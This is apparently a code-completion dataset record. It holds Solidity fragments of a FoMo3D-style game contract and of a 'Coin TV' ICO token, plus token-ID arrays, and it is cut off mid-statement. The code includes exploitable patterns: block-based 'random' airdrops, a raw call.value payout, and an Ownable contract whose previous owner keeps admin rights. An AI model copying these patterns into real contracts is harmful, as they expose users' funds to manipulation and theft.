PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot / 10); uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards shareCom.transfer((_com.mul(65) / 100)); admin.transfer((_com.mul(35) / 100)); // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = 0; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; uint256 _rndInc = rndInc_; if(round_[_rID].pot > rndLimit_) { _rndInc = _rndInc / 2; } // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(_rndInc)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // pay community rewards uint256 _com = _eth / 10; uint256 _p3d; if (!address(admin).call.value(_com)()) { _p3d = _com; _com = 0; } // pay 1% out to FoMo3D short // uint256 _long = _eth / 100; // otherF3D_.potSwap.value(_long)(); _p3d = _p3d.add(distributeAff(_rID,_pID,_eth,_affID)); // pay out p3d // _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { // deposit to divies contract uint256 _potAmount = _p3d / 2; uint256 _amount = _p3d.sub(_potAmount); shareCom.transfer((_amount.mul(65)/100)); admin.transfer((_amount.mul(35)/100)); round_[_rID].pot = round_[_rID].pot.add(_potAmount); // set up event data _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } function distributeAff(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID) private returns(uint256) { uint256 _addP3d = 0; // distribute share to affiliate uint256 _aff1 = _eth / 10; uint256 _aff2 = _eth / 20; uint256 _aff3 = _eth / 34; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if ((_affID != 0) && (_affID != _pID) && (plyr_[_affID].name != '')) { plyr_[_pID].laffID = _affID; plyr_[_affID].aff = _aff1.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff1, now); //second level aff uint256 _secLaff = plyr_[_affID].laffID; if((_secLaff != 0) && (_secLaff != _pID)) { plyr_[_secLaff].aff = _aff2.add(plyr_[_secLaff].aff); emit F3Devents.onAffiliatePayout(_secLaff, plyr_[_secLaff].addr, plyr_[_secLaff].name, _rID, _pID, _aff2, now); //third level aff uint256 _thirdAff = plyr_[_secLaff].laffID; if((_thirdAff != 0 ) && (_thirdAff != _pID)) { plyr_[_thirdAff].aff = _aff3.add(plyr_[_thirdAff].aff); emit F3Devents.onAffiliatePayout(_thirdAff, plyr_[_thirdAff].addr, plyr_[_thirdAff].name, _rID, _pID, _aff3, now); } else { _addP3d = _addP3d.add(_aff3); } } else { _addP3d = _addP3d.add(_aff2); } } else { _addP3d = _addP3d.add(_aff1); } return(_addP3d); } function getPlayerAff(uint256 _pID) public view returns (uint256,uint256,uint256) { uint256 _affID = plyr_[_pID].laffID; if (_affID != 0) { //second level aff uint256 _secondLaff = plyr_[_affID].laffID; if(_secondLaff != 0) { //third level aff uint256 _thirdAff = plyr_[_secondLaff].laffID; } } return (_affID,_secondLaff,_thirdAff); } function potSwap() external payable { // setup local rID uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit F3Devents.onPotSwapDeposit(_rID, msg.value); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 1% into airdrop pot uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) //_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); _eth = _eth.sub(_eth.mul(30) / 100); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // only team just can activate require(msg.sender == admin, "only admin can activate"); // can only be ran once require(activated_ == false, "FOMO Short already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } //============================================================================== // __|_ _ __|_ _ . // _\ | | |_|(_ | _\ . //============================================================================== library F3Ddatasets { //compressedData key // [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0] // 0 - new player (bool) // 1 - joined round (bool) // 2 - new leader (bool) // 3-5 - air drop tracker (uint 0-999) // 6-16 - round end time // 17 - winnerTeam // 18 - 28 timestamp // 29 - team // 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico) // 31 - airdrop happened bool // 32 - airdrop tier // 33 - airdrop amount won //compressedIDs key // [77-52][51-26][25-0] // 0-25 - pID // 26-51 - winPID // 52-77 - rID struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; // winner address bytes32 winnerName; // winner name uint256 amountWon; // amount won uint256 newPot; // amount in new pot uint256 P3DAmount; // amount distributed to p3d uint256 genAmount; // amount distributed to gen uint256 potAmount; // amount added to pot } struct Player { address addr; // player address bytes32 name; // player name uint256 win; // winnings vault uint256 gen; // general vault uint256 aff; // affiliate vault uint256 lrnd; // last round played uint256 laff; // last affiliate id used uint256 laffID; // last affiliate id unaffected } struct PlayerRounds { uint256 eth; // eth player has added to round (used for eth limiter) uint256 keys; // keys uint256 mask; // player mask uint256 ico; // ICO phase investment } struct Round { uint256 plyr; // pID of player in lead uint256 team; // tID of team in lead uint256 end; // time ends/ended bool ended; // has round end function been ran uint256 strt; // time round started uint256 keys; // keys uint256 eth; // total eth in uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends) uint256 mask; // global mask uint256 ico; // total eth sent in during ICO phase uint256 icoGen; // total eth for gen during ICO phase uint256 icoAvg; // average key price for ICO phase } struct TeamFee { uint256 gen; // % of buy in thats paid to key holders of current round uint256 p3d; // % of buy in thats paid to p3d holders } struct PotSplit { uint256 gen; // % of pot thats paid to key holders of current round uint256 p3d; // % of pot thats paid to p3d holders } } //============================================================================== // | _ _ _ | _ . // |<(/_\/ (_(_||(_ . //=======/====================================================================== library F3DKeysCalcShort { using SafeMath for *; /** * @dev calculates number of keys received given X eth * @param _curEth current amount of eth in contract * @param _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } /** * @dev calculates amount of eth received if you sold X keys * @param _curKeys current amount of keys that exist * @param _sellKeys amount of keys you wish to sell * @return amount of eth received */ function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } /** * @dev calculates how many keys would exist with given an amount of eth * @param _eth eth "in contract" * @return number of keys that would exist */ function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } //============================================================================== // . _ _|_ _ _ |` _ _ _ _ . // || | | (/_| ~|~(_|(_(/__\ . //============================================================================== interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
(pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
27,503
[ 1, 12, 84, 734, 516, 436, 734, 516, 501, 13, 7291, 3643, 501, 635, 7291, 612, 473, 3643, 612, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 261, 11890, 5034, 516, 2874, 261, 11890, 5034, 516, 478, 23, 40, 21125, 18, 12148, 54, 9284, 3719, 1071, 293, 715, 86, 54, 82, 2377, 67, 31, 377, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; /** * @title SafeMath for performing valid mathematics. */ library SafeMath { function Mul(uint a, uint b) internal pure returns (uint) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function Div(uint a, uint b) internal pure returns (uint) { //assert(b > 0); // Solidity automatically throws when Dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function Sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function Add(uint a, uint b) internal pure returns (uint) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Contract that will work with ERC223 tokens. */ contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) public; } /** * Contract "Ownable" * Purpose: Defines Owner for contract and provide functionality to transfer ownership to another account */ contract Ownable { //owner variable to store contract owner account address public owner; //add another owner to transfer ownership address oldOwner; //Constructor for the contract to store owner's account on deployement function Ownable() public { owner = msg.sender; oldOwner = msg.sender; } //modifier to check transaction initiator is only owner modifier onlyOwner() { require (msg.sender == owner || msg.sender == oldOwner); _; } //ownership can be transferred to provided newOwner. Function can only be initiated by contract owner's account function transferOwnership(address newOwner) public onlyOwner { require (newOwner != address(0)); owner = newOwner; } } /** * @title ERC20 interface */ contract ERC20 is Ownable { uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 value); function transfer(address _to, uint256 _value) public returns (bool _success); function allowance(address owner, address spender) public view returns (uint256 _value); function transferFrom(address from, address to, uint256 value) public returns (bool _success); function approve(address spender, uint256 value) public returns (bool _success); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed _from, address indexed _to, uint _value, bytes comment); } contract CTV is ERC20 { using SafeMath for uint256; //The name of the token string public constant name = "Coin TV"; //The token symbol string public constant symbol = "CTV"; //To denote the locking on transfer of tokens among token holders bool public locked; //The precision used in the calculations in contract uint8 public constant decimals = 18; //maximum number of tokens uint256 constant MAXCAP = 29999990e18; // maximum number of tokens that can be supplied by referrals uint public constant MAX_REFERRAL_TOKENS = 2999999e18; //set the softcap of ether received uint256 constant SOFTCAP = 70 ether; //Refund eligible or not // 0: sale not started yet, refunding invalid // 1: refund not required // 2: softcap not reached, refund required // 3: Refund in progress // 4: Everyone refunded uint256 public refundStatus = 0; //the account which will receive all balance address ethCollector; //to save total number of ethers received uint256 totalWeiReceived; //count tokens earned by referrals uint256 public tokensSuppliedFromReferral = 0; //Mapping to relate owner and spender to the tokens allowed to transfer from owner mapping(address => mapping(address => uint256)) allowed; //to manage referrals mapping(address => address) public referredBy; //Mapping to relate number of token to the account mapping(address => uint256) balances; //Structure for investors; holds received wei amount and Token sent struct Investor { //wei received during PreSale uint weiReceived; //Tokens sent during CrowdSale uint tokensPurchased; //user has been refunded or not bool refunded; //Uniquely identify an investor(used for iterating) uint investorID; } //time when the sale starts uint256 public startTime; //time when the presale ends uint256 public endTime; //to check the sale status bool public saleRunning; //investors indexed by their ETH address mapping(address => Investor) public investors; //investors indexed by their IDs mapping (uint256 => address) public investorList; //count number of investors uint256 public countTotalInvestors; //to keep track of how many investors have been refunded uint256 countInvestorsRefunded; //by default any new account will show false for registered mapping mapping(address => bool) registered; address[] listOfAddresses; //events event StateChanged(bool); function CTV() public{ totalSupply = 0; startTime = 0; endTime = 0; saleRunning = false; locked = true; setEthCollector(0xAf3BBf663769De9eEb6C2b235262Cf704eD4EA4b); } //To handle ERC20 short address attack modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; } modifier onlyUnlocked() { require (!locked); _; } modifier validTimeframe(){ require(saleRunning && now >=startTime && now < endTime); _; } function setEthCollector(address _ethCollector) public onlyOwner{ require(_ethCollector != address(0)); ethCollector = _ethCollector; } function startSale() public onlyOwner{ require(startTime == 0); startTime = now; endTime = startTime.Add(7 weeks); saleRunning = true; } //To enable transfer of tokens function unlockTransfer() external onlyOwner{ locked = false; } /** * @dev Check if the address being passed belongs to a contract * * @param _address The address which you want to verify * @return A bool specifying if the address is that of contract or not */ function isContract(address _address) private view returns(bool _isContract){ assert(_address != address(0) ); uint length; //inline assembly code to check the length of address assembly{ length := extcodesize(_address) } if(length > 0){ return true; } else{ return false; } } /** * @dev Check balance of given account address * * @param _owner The address account whose balance you want to know * @return balance of the account */ function balanceOf(address _owner) public view returns (uint256 _value){ return balances[_owner]; } /** * @dev Transfer sender's token to a given address * * @param _to The address which you want to transfer to * @param _value the amount of tokens to be transferred * @return A bool if the transfer was a success or not */ function transfer(address _to, uint _value) onlyUnlocked onlyPayloadSize(2 * 32) public returns(bool _success) { require( _to != address(0) ); bytes memory _empty; if((balances[msg.sender] > _value) && _value > 0 && _to != address(0)){ balances[msg.sender] = balances[msg.sender].Sub(_value); balances[_to] = balances[_to].Add(_value); if(isContract(_to)){ ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _empty); } Transfer(msg.sender, _to, _value, _empty); return true; } else{ return false; } } /** * @dev Transfer tokens to an address given by sender. To make ERC223 compliant * * @param _to The address which you want to transfer to * @param _value the amount of tokens to be transferred * @param _data additional information of account from where to transfer from * @return A bool if the transfer was a success or not */ function transfer(address _to, uint _value, bytes _data) onlyUnlocked onlyPayloadSize(3 * 32) public returns(bool _success) { if((balances[msg.sender] > _value) && _value > 0 && _to != address(0)){ balances[msg.sender] = balances[msg.sender].Sub(_value); balances[_to] = balances[_to].Add(_value); if(isContract(_to)){ ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value, _data); return true; } else{ return false; } } /** * @dev Transfer tokens from one address to another, for ERC20. * * @param _from The address which you want to send tokens from * @param _to The address which you want to transfer to * @param _value the amount of tokens to be transferred * @return A bool if the transfer was a success or not */ function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3*32) public onlyUnlocked returns (bool){ bytes memory _empty; if((_value > 0) && (_to != address(0)) && (_from != address(0)) && (allowed[_from][msg.sender] > _value )){ balances[_from] = balances[_from].Sub(_value); balances[_to] = balances[_to].Add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].Sub(_value); if(isContract(_to)){ ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _empty); } Transfer(_from, _to, _value, _empty); return true; } else{ return false; } } /** * @dev Function to check the amount of tokens that an owner has allowed a spender to recieve from owner. * * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender to spend. */ function allowance(address _owner, address _spender) public view returns (uint256){ return allowed[_owner][_spender]; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool){ if( (_value > 0) && (_spender != address(0)) && (balances[msg.sender] >= _value)){ allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } else{ return false; } } /** * @dev Calculate number of tokens that will be received in one ether * */ function getPrice() public view returns(uint256) { uint256 price; if(totalSupply <= 1e6*1e18) price = 13330; else if(totalSupply <= 5e6*1e18) price = 12500; else if(totalSupply <= 9e6*1e18) price = 11760; else if(totalSupply <= 13e6*1e18) price = 11110; else if(totalSupply <= 17e6*1e18) price = 10520; else if(totalSupply <= 21e6*1e18) price = 10000; else{ //zero indicates that no tokens will be allocated when total supply //of 21 million tokens is reached price = 0; } return price; } function mintAndTransfer(address beneficiary, uint256 numberOfTokensWithoutDecimal, bytes comment) public onlyOwner { uint256 tokensToBeTransferred = numberOfTokensWithoutDecimal*1e18; require(totalSupply.Add(tokensToBeTransferred) <= MAXCAP); totalSupply = totalSupply.Add(tokensToBeTransferred); balances[beneficiary] = balances[beneficiary].Add(tokensToBeTransferred); Transfer(owner, beneficiary ,tokensToBeTransferred, comment); } /** * @dev to enable pause sale for break in ICO and Pre-ICO * */ function pauseSale() public onlyOwner{ assert(saleRunning && startTime > 0 && now <= endTime); saleRunning = false; } /** * @dev to resume paused sale * */ function resumeSale() public onlyOwner{ assert(!saleRunning && startTime > 0 && now <= endTime); saleRunning = true; } function buyTokens(address beneficiary) internal validTimeframe { uint256 tokensBought = msg.value.Mul(getPrice()); balances[beneficiary] = balances[beneficiary].Add(tokensBought); totalSupply = totalSupply.Add(tokensBought); //Make entry in Investor indexed with address Investor storage investorStruct = investors[beneficiary]; //If it is a new investor, then create a new id if(investorStruct.investorID == 0){ countTotalInvestors++; investorStruct.investorID = countTotalInvestors; investorList[countTotalInvestors] = beneficiary; } else{ investorStruct.weiReceived = investorStruct.weiReceived.Add(msg.value); investorStruct.tokensPurchased = investorStruct.tokensPurchased.Add(tokensBought); } //Award referral tokens if(referredBy[msg.sender] != address(0)){ //give some referral tokens balances[referredBy[msg.sender]] = balances[referredBy[msg.sender]].Add(tokensBought/10); tokensSuppliedFromReferral = tokensSuppliedFromReferral.Add(tokensBought/10); totalSupply = totalSupply.Add(tokensBought/10); } //if referrer was also referred by someone if(referredBy[referredBy[msg.sender]] != address(0)){ //give 1% tokens to 2nd generation referrer balances[referredBy[referredBy[msg.sender]]] = balances[referredBy[referredBy[msg.sender]]].Add(tokensBought/100); if(tokensSuppliedFromReferral.Add(tokensBought/100) < MAX_REFERRAL_TOKENS) tokensSuppliedFromReferral = tokensSuppliedFromReferral.Add(tokensBought/100); totalSupply = 